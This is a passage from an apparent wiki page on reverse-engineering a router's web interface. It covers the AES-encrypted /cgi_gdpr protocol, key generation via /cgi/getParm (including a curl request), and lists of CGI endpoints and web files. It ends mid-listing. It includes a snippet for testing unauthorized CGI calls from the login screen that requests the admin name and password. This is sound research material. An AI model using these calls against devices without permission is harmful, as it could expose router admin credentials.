&amp;lt;div style=&amp;quot;text-align: justify;&amp;quot;&amp;gt;The newer firmware versions use AES encrypted payload when communicating with the webserver using the &amp;lt;code&amp;gt;/cgi_gdpr&amp;lt;/code&amp;gt; URL instead of &amp;lt;code&amp;gt;/cgi&amp;lt;/code&amp;gt; for most calls. In order to analyse the servers responses, one needs to decrypt the payload. While debugging, this can either be done using the instance of the &amp;lt;code&amp;gt;$.Iencryptor&amp;lt;/code&amp;gt; used for encryption or by overwriting the &amp;lt;code&amp;gt;$.io()&amp;lt;/code&amp;gt;, which logs the response after decryption. Hackers may be able to forge the encryption key with the help of &amp;lt;code&amp;gt;/cgi/getParm&amp;lt;/code&amp;gt;. Additionnally the modified version of the &amp;lt;code&amp;gt;$.io()&amp;lt;/code&amp;gt; function prevents reloading the page while testing unautharized CGI calls from the login screen.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Example AES Decryption using $.Iencryptor&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;$.Iencryptor.AESDecrypt(&amp;quot;QCN4Rv6QexPOxOxIs7adng==&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
// var encryptor = $.encrypt.encryptManager.genEncryptor(); //生成加密器&lt;br /&gt;
// encryptor.genAESKey(); //生成aes密码&lt;br /&gt;
// encryptor.setRSAKey(&amp;quot;nn&amp;quot;, &amp;quot;ee&amp;quot;); //设置rsakey&lt;br /&gt;
// encryptor.setSeq(&amp;quot;123&amp;quot;);   //设置seq&lt;br /&gt;
// encryptor.setHash(&amp;quot;用户名&amp;quot;, &amp;quot;密码&amp;quot;); //设置用户名密码&lt;br /&gt;
//&lt;br /&gt;
//&lt;br /&gt;
// //以上都设置完后，可进行加密&lt;br /&gt;
// encryptor.AESEncrypt(data);&lt;br /&gt;
//&lt;br /&gt;
// //返回对象&lt;br /&gt;
// // {&lt;br /&gt;
// //     data:&amp;quot;加密后数据&amp;quot;,&lt;br /&gt;
// //     sign: &amp;quot;签名&amp;quot;&lt;br /&gt;
// // }&lt;br /&gt;
//&lt;br /&gt;
//&lt;br /&gt;
// // 页面刷新前保存加密器&lt;br /&gt;
// $.encrypt.encryptManager.recordEncryptor();&lt;br /&gt;
//&lt;br /&gt;
// //再次获取加密器&lt;br /&gt;
// var encryptor = $.encrypt.encryptManager.getEncryptor();&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: 感谢您的良好指示 🙏&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Example AES key generation&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;&lt;br /&gt;
$.act(ACT_CGI, &amp;quot;/cgi/getParm&amp;quot;);&lt;br /&gt;
$.exe(null,false,0);&lt;br /&gt;
&lt;br /&gt;
	# Request Parameters&lt;br /&gt;
	# [/cgi/getParm#0,0,0,0,0,0#0,0,0,0,0,0]0,0&lt;br /&gt;
&lt;br /&gt;
	# Or, using cURL&lt;br /&gt;
	# curl -X POST &amp;quot;http://192.168.1.1/cgi?8&amp;quot; -H &amp;quot;Referer: http://192.168.1.1&amp;quot; -d $&#039;[/cgi/getParm#0,0,0,0,0,0#0,0,0,0,0,0]0,0\r\n&#039;&lt;br /&gt;
&lt;br /&gt;
	# Example Response&lt;br /&gt;
	# lib.js:396 XHR finished loading: POST &amp;quot;http://192.168.1.1/cgi?8&amp;quot;&lt;br /&gt;
	# [cgi]0&lt;br /&gt;
	# var ee=&amp;quot;010001&amp;quot;;&lt;br /&gt;
	# var nn=&amp;quot;BF52337CDDC3F46ADE7663765F170AB464AE93BF981B02B95FCE1E94&amp;quot; +&lt;br /&gt;
	#        &amp;quot;62DD9A03ED3E09CCEFDFD7FACE81EE38136FC081735686FE630BBADB&amp;quot; +&lt;br /&gt;
	#        &amp;quot;DAB24BE0443A2B25&amp;quot;;&lt;br /&gt;
	# var seq=&amp;quot;812508797&amp;quot;;&lt;br /&gt;
	# $.ret=0;&lt;br /&gt;
	# [error]0&lt;br /&gt;
&lt;br /&gt;
$.nn = nn;&lt;br /&gt;
$.ee = ee;&lt;br /&gt;
$.seq = seq;&lt;br /&gt;
&lt;br /&gt;
$.Iencryptor.setSeq($.seq);&lt;br /&gt;
$.Iencryptor.setRSAKey($.nn, $.ee);&lt;br /&gt;
$.Iencryptor.setHash(userName, password);&lt;br /&gt;
$.Iencryptor.genAESKey();&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; $.io() {Log decrypted responses while debugging and disable page reloading}&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;$.io = function(path, bScript, hook, data, noquit, unerr) {&lt;br /&gt;
    $.ajax(&lt;br /&gt;
    {&lt;br /&gt;
        type: data ? &amp;quot;POST&amp;quot; : &amp;quot;&amp;quot;,&lt;br /&gt;
        url: path,&lt;br /&gt;
        bScript: bScript,&lt;br /&gt;
        async: true,&lt;br /&gt;
        data: data ? data : null,&lt;br /&gt;
        success: r =&amp;gt; console.log(r),&lt;br /&gt;
        error: e =&amp;gt; console.log(e)&lt;br /&gt;
    });&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
// Try the modifications (Reload to revert)&lt;br /&gt;
$.act(ACT_GET, USER_CFG, null, null, [&amp;quot;adminName&amp;quot;, &amp;quot;adminPwd&amp;quot;]);&lt;br /&gt;
$.exe(null, false, 1);&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The third parameter with the &amp;lt;code&amp;gt;$.exe(null, false, 1);&amp;lt;/code&amp;gt; function defines the &amp;lt;code&amp;gt;securityLevel&amp;lt;/code&amp;gt;. 1 enables AES encryption and the use of &amp;lt;code&amp;gt;/cgi_gdpr&amp;lt;/code&amp;gt;. 0 means no encryption and the use of &amp;lt;code&amp;gt;/cgi&amp;lt;/code&amp;gt;.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Information Gathering&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; CGI URLs&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Source: /usr/bin/httpd&lt;br /&gt;
// Firmware: 191018&lt;br /&gt;
&lt;br /&gt;
/cgi/conf.bin&lt;br /&gt;
/cgi/confencode&lt;br /&gt;
/cgi/confup&lt;br /&gt;
/cgi/bnr&lt;br /&gt;
/cgi/softup&lt;br /&gt;
/cgi/softburn&lt;br /&gt;
/cgi/log&lt;br /&gt;
/cgi/info&lt;br /&gt;
/cgi/lanMac&lt;br /&gt;
/cgi/auth&lt;br /&gt;
/cgi/pvc&lt;br /&gt;
/cgi/ansi&lt;br /&gt;
/cgi/usb3gup&lt;br /&gt;
/cgi/usb3gupburn&lt;br /&gt;
/cgi/logout&lt;br /&gt;
/cgi/route&lt;br /&gt;
/cgi/updateWlThroughput&lt;br /&gt;
/cgi/updateWlThroughput5G&lt;br /&gt;
/cgi/getParm&lt;br /&gt;
/cgi/login&lt;br /&gt;
&lt;br /&gt;
/cgi_gdpr&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Webserver URLs&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Firmware: 191018&lt;br /&gt;
&lt;br /&gt;
/web&lt;br /&gt;
├── MenuRpm.htm&lt;br /&gt;
├── css&lt;br /&gt;
│   ├── ban.css&lt;br /&gt;
│   ├── css_help.css&lt;br /&gt;
│   ├── ie6.css&lt;br /&gt;
│   ├── ie7.css&lt;br /&gt;
│   ├── ie8.css&lt;br /&gt;
│   ├── main.css&lt;br /&gt;
│   ├── menu.css&lt;br /&gt;
│   ├── other.css&lt;br /&gt;
│   ├── qr.css&lt;br /&gt;
│   └── top.css&lt;br /&gt;
├── domain-redirect.htm&lt;br /&gt;
├── frame&lt;br /&gt;
│   ├── accErr.htm&lt;br /&gt;
│   ├── banner.htm&lt;br /&gt;
│   ├── login.htm&lt;br /&gt;
│   ├── menu.htm&lt;br /&gt;
│   └── top.htm&lt;br /&gt;
├── help&lt;br /&gt;
│   ├── AccessCtrlAccessRulesAdvHelpRpm.htm&lt;br /&gt;
│   ├── AccessCtrlAccessRulesHelpRpm.htm&lt;br /&gt;
│   ├── AccessCtrlAccessTargetsAdvHelpRpm.htm&lt;br /&gt;
│   ├── AccessCtrlAccessTargetsHelpRpm.htm&lt;br /&gt;
│   ├── AccessCtrlHostsListsAdvHelpRpm.htm&lt;br /&gt;
│   ├── AccessCtrlHostsListsHelpRpm.htm&lt;br /&gt;
│   ├── AccessCtrlTimeSchedAdvHelpRpm.htm&lt;br /&gt;
│   ├── AccessCtrlTimeSchedHelpRpm.htm&lt;br /&gt;
│   ├── AssignedIpAddrListHelpRpm.htm&lt;br /&gt;
│   ├── BackNRestoreHelpRpm.htm&lt;br /&gt;
│   ├── BasicSecurityHelpRpm.htm&lt;br /&gt;
│   ├── BpaCfgHelpRpm.htm&lt;br /&gt;
│   ├── ChangeLoginPwdHelpRpm.htm&lt;br /&gt;
│   ├── DMZHelpRpm.htm&lt;br /&gt;
│   ├── DateTimeCfgHelpRpm.htm&lt;br /&gt;
│   ├── DdnsAddComexeHelpRpm.htm&lt;br /&gt;
│   ├── DiagHelp.htm&lt;br /&gt;
│   ├── DualBandSelectionHelpRpm.htm&lt;br /&gt;
│   ├── DynDdnsHelpRpm.htm&lt;br /&gt;
│   ├── FeedbackHelp.htm&lt;br /&gt;
│   ├── FixMapCfgHelpRpm.htm&lt;br /&gt;
│   ├── GuestNetUsbCfgHelpRpm.htm&lt;br /&gt;
│   ├── GuestNetWirelessCfgHelpRpm.htm&lt;br /&gt;
│   ├── GuestNetWirelessCfgHelpRpmWithFacebook.htm&lt;br /&gt;
│   ├── IPTVHelp.htm&lt;br /&gt;
│   ├── IPv6LanHelp.htm&lt;br /&gt;
│   ├── IPv6StatusHelpRpm.htm&lt;br /&gt;
│   ├── IPv6TunnelHelp.htm&lt;br /&gt;
│   ├── L2tpCfgHelpRpm.htm&lt;br /&gt;
│   ├── LanArpBindingHelpRpm.htm&lt;br /&gt;
│   ├── LanArpBindingListHelpRpm.htm&lt;br /&gt;
│   ├── LanDhcpServerHelpRpm.htm&lt;br /&gt;
│   ├── LanDhcpServerHelpRpm_AP.htm&lt;br /&gt;
│   ├── LocalManageControlHelpRpm.htm&lt;br /&gt;
│   ├── MacCloneCfgHelpRpm.htm&lt;br /&gt;
│   ├── ManageControlHelpRpm.htm&lt;br /&gt;
│   ├── ManageCtrl_h.htm&lt;br /&gt;
│   ├── MediaServerCfgHelpRpm.htm&lt;br /&gt;
│   ├── MiscHelpRpm.htm&lt;br /&gt;
│   ├── NasCfgHelpRpm.htm&lt;br /&gt;
│   ├── NasFtpCfgHelpRpm.htm&lt;br /&gt;
│   ├── NasUserAdvRpm.htm&lt;br /&gt;
│   ├── NasUserCfgHelpRpm.htm&lt;br /&gt;
│   ├── NatStatusCfgHelpRpm.htm&lt;br /&gt;
│   ├── NetworkCfgHelpRpm.htm&lt;br /&gt;
│   ├── NetworkCfgHelpRpm_AP.htm&lt;br /&gt;
│   ├── NoipDdnsHelpRpm.htm&lt;br /&gt;
│   ├── PPPoECfgHelpRpm.htm&lt;br /&gt;
│   ├── PPPoEv6CfgHelpRpm.htm&lt;br /&gt;
│   ├── ParentCtrlAdvHelpRpm.htm&lt;br /&gt;
│   ├── ParentCtrlHelpRpm.htm&lt;br /&gt;
│   ├── PingHelpRpm.htm&lt;br /&gt;
│   ├── PingWatchDogHelpRpm.htm&lt;br /&gt;
│   ├── PptpCfgHelpRpm.htm&lt;br /&gt;
│   ├── PrintServerCfgHelpRpm.htm&lt;br /&gt;
│   ├── QoSCfgHelpRpm.htm&lt;br /&gt;
│   ├── QoSRuleCfgHelpRpm.htm&lt;br /&gt;
│   ├── QoSRuleListHelpRpm.htm&lt;br /&gt;
│   ├── Qs3gHelpRpm.htm&lt;br /&gt;
│   ├── QsChangeLoginPwdHelpRpm.htm&lt;br /&gt;
│   ├── QsLanApHelpRpm.htm&lt;br /&gt;
│   ├── QsModeHelpRpm.htm&lt;br /&gt;
│   ├── QsMultissidHelpRpm.htm&lt;br /&gt;
│   ├── QsReviewHelpRpm.htm&lt;br /&gt;
│   ├── QsWlClientHelpRpm.htm&lt;br /&gt;
│   ├── QsWlScanClientHelpRpm.htm&lt;br /&gt;
│   ├── RestoreDefaultCfgHelpRpm.htm&lt;br /&gt;
│   ├── SiteSurveyHelpRpm.htm&lt;br /&gt;
│   ├── SnmpHelpRpm.htm&lt;br /&gt;
│   ├── SoftwareUpgradeHelpRpm.htm&lt;br /&gt;
│   ├── SpecialAppHelpRpm.htm&lt;br /&gt;
│   ├── StaticRouteTableHelpRpm.htm&lt;br /&gt;
│   ├── StatusHelpRpm.htm&lt;br /&gt;
│   ├── StatusHelpRpm_AP.htm&lt;br /&gt;
│   ├── StatusHelpRpm_Client.htm&lt;br /&gt;
│   ├── StatusHelpRpm_Modem.htm&lt;br /&gt;
│   ├── StatusHelpRpm_Repeater.htm&lt;br /&gt;
│   ├── SysAutoRebootHelpRpm.htm&lt;br /&gt;
│   ├── SysRebootHelpRpm.htm&lt;br /&gt;
│   ├── SysRouteTableHelpRpm.htm&lt;br /&gt;
│   ├── SystemLogHelpRpm.htm&lt;br /&gt;
│   ├── SystemStatisticHelpRpm.htm&lt;br /&gt;
│   ├── UpnpCfgHelpRpm.htm&lt;br /&gt;
│   ├── Usb3gHelpRpm.htm&lt;br /&gt;
│   ├── Usb3gModemListHelpRpm.htm&lt;br /&gt;
│   ├── UsbAccountHelp.htm&lt;br /&gt;
│   ├── UsbDlnaHelp.htm&lt;br /&gt;
│   ├── UsbFtpHelp.htm&lt;br /&gt;
│   ├── UsbMassHelp.htm&lt;br /&gt;
│   ├── UsbSharingHelp.htm&lt;br /&gt;
│   ├── VirtualServerHelpRpm.htm&lt;br /&gt;
│   ├── Wan6DisabledCfgHelpRpm.htm&lt;br /&gt;
│   ├── Wan6to4TunnelCfgHelpRpm.htm&lt;br /&gt;
│   ├── WanDynamicIpCfgHelpRpm.htm&lt;br /&gt;
│   ├── WanDynamicIpV6CfgHelpRpm.htm&lt;br /&gt;
│   ├── WanStaticIpCfgHelpRpm.htm&lt;br /&gt;
│   ├── WanStaticIpV6CfgHelpRpm.htm&lt;br /&gt;
│   ├── WlanAdvHelpRpm.htm&lt;br /&gt;
│   ├── WlanAdvHelpRpm_AP.htm&lt;br /&gt;
│   ├── WlanConnectHelpRpm.htm&lt;br /&gt;
│   ├── WlanExtender5GHelpRpm.htm&lt;br /&gt;
│   ├── WlanExtenderHelpRpm.htm&lt;br /&gt;
│   ├── WlanMacFilterHelpRpm.htm&lt;br /&gt;
│   ├── WlanNetworkHelpRpm.htm&lt;br /&gt;
│   ├── WlanNetworkHelpRpm_AP.htm&lt;br /&gt;
│   ├── WlanNetworkHelpRpm_MSSID.htm&lt;br /&gt;
│   ├── WlanSchedule.htm&lt;br /&gt;
│   ├── WlanSecurityHelpRpm.htm&lt;br /&gt;
│   ├── WlanStationHelpRpm.htm&lt;br /&gt;
│   ├── WlanThroughputHelpRpm.htm&lt;br /&gt;
│   ├── WlanWpsChkModeHelpRpm.htm&lt;br /&gt;
│   ├── WlanWpsHelpRpm.htm&lt;br /&gt;
│   ├── WlanWpsHelpRpm_AP.htm&lt;br /&gt;
│   ├── WzdAccessCtrlHostAddHelpRpm.htm&lt;br /&gt;
│   ├── WzdAccessCtrlRuleAddHelpRpm.htm&lt;br /&gt;
│   ├── WzdAccessCtrlSchedAddHelpRpm.htm&lt;br /&gt;
│   ├── WzdAccessCtrlTargetAddHelpRpm.htm&lt;br /&gt;
│   ├── WzdConfirmHelpRpm.htm&lt;br /&gt;
│   ├── WzdFinishHelpRpm.htm&lt;br /&gt;
│   ├── WzdL2TPHelpRpm.htm&lt;br /&gt;
│   ├── WzdPPPoEHelpRpm.htm&lt;br /&gt;
│   ├── WzdPPTPHelpRpm.htm&lt;br /&gt;
│   ├── WzdStartHelpRpm.htm&lt;br /&gt;
│   ├── WzdStaticIpHelpRpm.htm&lt;br /&gt;
│   ├── WzdWanMACHelpRpm.htm&lt;br /&gt;
│   ├── WzdWanTypeHelpRpm.htm&lt;br /&gt;
│   ├── WzdWlanHelpRpm.htm&lt;br /&gt;
│   ├── WzdWlanHelpRpm_AP.htm&lt;br /&gt;
│   ├── YandexDnsHelpRpm.htm&lt;br /&gt;
│   └── ledControlHelp.htm&lt;br /&gt;
├── img&lt;br /&gt;
│   ├── Thumbs.db&lt;br /&gt;
│   ├── bgColor.jpg&lt;br /&gt;
│   ├── check.gif&lt;br /&gt;
│   ├── col_hide.gif&lt;br /&gt;
│   ├── col_show.gif&lt;br /&gt;
│   ├── empty.gif&lt;br /&gt;
│   ├── error.gif&lt;br /&gt;
│   ├── helpPic.gif&lt;br /&gt;
│   ├── icon.jpg&lt;br /&gt;
│   ├── loading.gif&lt;br /&gt;
│   ├── login&lt;br /&gt;
│   │   ├── domain-redirect.png&lt;br /&gt;
│   │   ├── favicon.ico&lt;br /&gt;
│   │   ├── info.png&lt;br /&gt;
│   │   ├── input-box.png&lt;br /&gt;
│   │   ├── input-box1.png&lt;br /&gt;
│   │   ├── loginBg.png&lt;br /&gt;
│   │   ├── loginButton.png&lt;br /&gt;
│   │   ├── loginButton1.png&lt;br /&gt;
│   │   ├── logo.png&lt;br /&gt;
│   │   ├── ok.png&lt;br /&gt;
│   │   ├── password.png&lt;br /&gt;
│   │   ├── qr.png&lt;br /&gt;
│   │   ├── top-right.png&lt;br /&gt;
│   │   ├── tp-beta-mark.png&lt;br /&gt;
│   │   ├── username.png&lt;br /&gt;
│   │   └── wrong.png&lt;br /&gt;
│   ├── mark_copy.gif&lt;br /&gt;
│   ├── menu-white-noradius.png&lt;br /&gt;
│   ├── menu-white.png&lt;br /&gt;
│   ├── menu-yellow.png&lt;br /&gt;
│   ├── minus.gif&lt;br /&gt;
│   ├── plus.gif&lt;br /&gt;
│   ├── pw.gif&lt;br /&gt;
│   ├── signalstrength.gif&lt;br /&gt;
│   ├── switch.gif&lt;br /&gt;
│   └── td-blue.png&lt;br /&gt;
├── index.htm&lt;br /&gt;
├── js&lt;br /&gt;
│   ├── 3g.js&lt;br /&gt;
│   ├── cryptoJS.min.js&lt;br /&gt;
│   ├── custom.js&lt;br /&gt;
│   ├── encrypt.js&lt;br /&gt;
│   ├── err.js&lt;br /&gt;
│   ├── help.js&lt;br /&gt;
│   ├── language.js&lt;br /&gt;
│   ├── lib.js&lt;br /&gt;
│   ├── local.js&lt;br /&gt;
│   ├── oid_str.js&lt;br /&gt;
│   ├── root.js&lt;br /&gt;
│   ├── str.js&lt;br /&gt;
│   ├── tpEncrypt.js&lt;br /&gt;
│   └── vlancfg.js&lt;br /&gt;
├── main&lt;br /&gt;
│   ├── alg.htm&lt;br /&gt;
│   ├── arpBind.htm&lt;br /&gt;
│   ├── arpBindEdit.htm&lt;br /&gt;
│   ├── arpList.htm&lt;br /&gt;
│   ├── autoPVC.htm&lt;br /&gt;
│   ├── backNRestore.htm&lt;br /&gt;
│   ├── basicSec.htm&lt;br /&gt;
│   ├── clientMode.htm&lt;br /&gt;
│   ├── clientMode5G.htm&lt;br /&gt;
│   ├── cwmp.htm&lt;br /&gt;
│   ├── ddos.htm&lt;br /&gt;
│   ├── ddos_host.htm&lt;br /&gt;
│   ├── defGateway.htm&lt;br /&gt;
│   ├── defGateway6.htm&lt;br /&gt;
│   ├── defaultCfg.htm&lt;br /&gt;
│   ├── dhcp.htm&lt;br /&gt;
│   ├── dhcpAP.htm&lt;br /&gt;
│   ├── dhcpClient.htm&lt;br /&gt;
│   ├── dhcpCond.htm&lt;br /&gt;
│   ├── dhcpCondEdit.htm&lt;br /&gt;
│   ├── dhcpEdit.htm&lt;br /&gt;
│   ├── dhcpEditAP.htm&lt;br /&gt;
│   ├── dhcpStatic.htm&lt;br /&gt;
│   ├── dhcpStaticEdit.htm&lt;br /&gt;
│   ├── diagnostic.htm&lt;br /&gt;
│   ├── div.htm&lt;br /&gt;
│   ├── dlnaManage.htm&lt;br /&gt;
│   ├── dmz.htm&lt;br /&gt;
│   ├── dsl.htm&lt;br /&gt;
│   ├── dslcfg.htm&lt;br /&gt;
│   ├── dynamicIp.htm&lt;br /&gt;
│   ├── ethIptv.htm&lt;br /&gt;
│   ├── ethWan.htm&lt;br /&gt;
│   ├── ethWan6.htm&lt;br /&gt;
│   ├── ftpSrv.htm&lt;br /&gt;
│   ├── fw6Lan.htm&lt;br /&gt;
│   ├── fw6LanEdit.htm&lt;br /&gt;
│   ├── fw6Rules.htm&lt;br /&gt;
│   ├── fw6RulesEdit.htm&lt;br /&gt;
│   ├── fw6Sche.htm&lt;br /&gt;
│   ├── fw6ScheEdit.htm&lt;br /&gt;
│   ├── fw6Wan.htm&lt;br /&gt;
│   ├── fw6WanEdit.htm&lt;br /&gt;
│   ├── fwLan.htm&lt;br /&gt;
│   ├── fwLanEdit.htm&lt;br /&gt;
│   ├── fwRules.htm&lt;br /&gt;
│   ├── fwRulesEdit.htm&lt;br /&gt;
│   ├── fwSche.htm&lt;br /&gt;
│   ├── fwScheEdit.htm&lt;br /&gt;
│   ├── fwWan.htm&lt;br /&gt;
│   ├── fwWanEdit.htm&lt;br /&gt;
│   ├── group.htm&lt;br /&gt;
│   ├── groupAdd.htm&lt;br /&gt;
│   ├── hw_nat.htm&lt;br /&gt;
│   ├── ipoa.htm&lt;br /&gt;
│   ├── ipsec.htm&lt;br /&gt;
│   ├── ipsecConfig.htm&lt;br /&gt;
│   ├── iptv.htm&lt;br /&gt;
│   ├── lan.htm&lt;br /&gt;
│   ├── lan6.htm&lt;br /&gt;
│   ├── lanAP.htm&lt;br /&gt;
│   ├── lanEdit.htm&lt;br /&gt;
│   ├── lanEditAP.htm&lt;br /&gt;
│   ├── ledControl.htm&lt;br /&gt;
│   ├── local.htm&lt;br /&gt;
│   ├── log.htm&lt;br /&gt;
│   ├── logConf.htm&lt;br /&gt;
│   ├── macClone.htm&lt;br /&gt;
│   ├── manageCtrl.htm&lt;br /&gt;
│   ├── no.htm&lt;br /&gt;
│   ├── parentCtrl.htm&lt;br /&gt;
│   ├── password.htm&lt;br /&gt;
│   ├── phDDNS.htm&lt;br /&gt;
│   ├── pingNTraceRoute.htm&lt;br /&gt;
│   ├── pingWatchDog.htm&lt;br /&gt;
│   ├── portTrigEdit.htm&lt;br /&gt;
│   ├── portTrigger.htm&lt;br /&gt;
│   ├── pppoa.htm&lt;br /&gt;
│   ├── pppoe.htm&lt;br /&gt;
│   ├── printSrv.htm&lt;br /&gt;
│   ├── qos.htm&lt;br /&gt;
│   ├── qosAppEdit.htm&lt;br /&gt;
│   ├── qosClsEdit.htm&lt;br /&gt;
│   ├── qosList.htm&lt;br /&gt;
│   ├── qosQueueEdit.htm&lt;br /&gt;
│   ├── qs3g.htm&lt;br /&gt;
│   ├── qsAuto.htm&lt;br /&gt;
│   ├── qsBandSelect.htm&lt;br /&gt;
│   ├── qsDetectErr.htm&lt;br /&gt;
│   ├── qsDsl.htm&lt;br /&gt;
│   ├── qsEnd.htm&lt;br /&gt;
│   ├── qsIPoA.htm&lt;br /&gt;
│   ├── qsL2tp.htm&lt;br /&gt;
│   ├── qsLan.htm&lt;br /&gt;
│   ├── qsMacClone.htm&lt;br /&gt;
│   ├── qsMode.htm&lt;br /&gt;
│   ├── qsMultiSSID.htm&lt;br /&gt;
│   ├── qsPPP.htm&lt;br /&gt;
│   ├── qsPPPoA.htm&lt;br /&gt;
│   ├── qsPptp.htm&lt;br /&gt;
│   ├── qsReview.htm&lt;br /&gt;
│   ├── qsSave.htm&lt;br /&gt;
│   ├── qsStaIP.htm&lt;br /&gt;
│   ├── qsStart.htm&lt;br /&gt;
│   ├── qsType.htm&lt;br /&gt;
│   ├── qsWl.htm&lt;br /&gt;
│   ├── qsWl5G.htm&lt;br /&gt;
│   ├── qsWlAP.htm&lt;br /&gt;
│   ├── qsWlAP5G.htm&lt;br /&gt;
│   ├── qsWlClient.htm&lt;br /&gt;
│   ├── qsWlHotspot.htm&lt;br /&gt;
│   ├── qsWlScanClient.htm&lt;br /&gt;
│   ├── qspassword.htm&lt;br /&gt;
│   ├── remote.htm&lt;br /&gt;
│   ├── restart.htm&lt;br /&gt;
│   ├── rip.htm&lt;br /&gt;
│   ├── route.htm&lt;br /&gt;
│   ├── route6.htm&lt;br /&gt;
│   ├── route6Edit.htm&lt;br /&gt;
│   ├── routeEdit.htm&lt;br /&gt;
│   ├── routeTbl.htm&lt;br /&gt;
│   ├── snmp.htm&lt;br /&gt;
│   ├── softup.htm&lt;br /&gt;
│   ├── stat.htm&lt;br /&gt;
│   ├── staticIp.htm&lt;br /&gt;
│   ├── status.htm&lt;br /&gt;
│   ├── status6.htm&lt;br /&gt;
│   ├── sysMode.htm&lt;br /&gt;
│   ├── time.htm&lt;br /&gt;
│   ├── trafCtrlEdit.htm&lt;br /&gt;
│   ├── trafficCtrl.htm&lt;br /&gt;
│   ├── tunnel6.htm&lt;br /&gt;
│   ├── upnp.htm&lt;br /&gt;
│   ├── usb3g.htm&lt;br /&gt;
│   ├── usb3gModemList.htm&lt;br /&gt;
│   ├── usb3gUpload.htm&lt;br /&gt;
│   ├── usbFolderBrowse.htm&lt;br /&gt;
│   ├── usbManage.htm&lt;br /&gt;
│   ├── usbSmbSrv.htm&lt;br /&gt;
│   ├── usbUserAccount.htm&lt;br /&gt;
│   ├── userFeedBack.htm&lt;br /&gt;
│   ├── virtualServer.htm&lt;br /&gt;
│   ├── vtlServEdit.htm&lt;br /&gt;
│   ├── wan.htm&lt;br /&gt;
│   ├── wlAcl.htm&lt;br /&gt;
│   ├── wlAcl5G.htm&lt;br /&gt;
│   ├── wlAclAdv.htm&lt;br /&gt;
│   ├── wlAclAdv5G.htm&lt;br /&gt;
│   ├── wlAclAdvMssid.htm&lt;br /&gt;
│   ├── wlAclMssid.htm&lt;br /&gt;
│   ├── wlAdv.htm&lt;br /&gt;
│   ├── wlAdv5G.htm&lt;br /&gt;
│   ├── wlBasic.htm&lt;br /&gt;
│   ├── wlBasic5G.htm&lt;br /&gt;
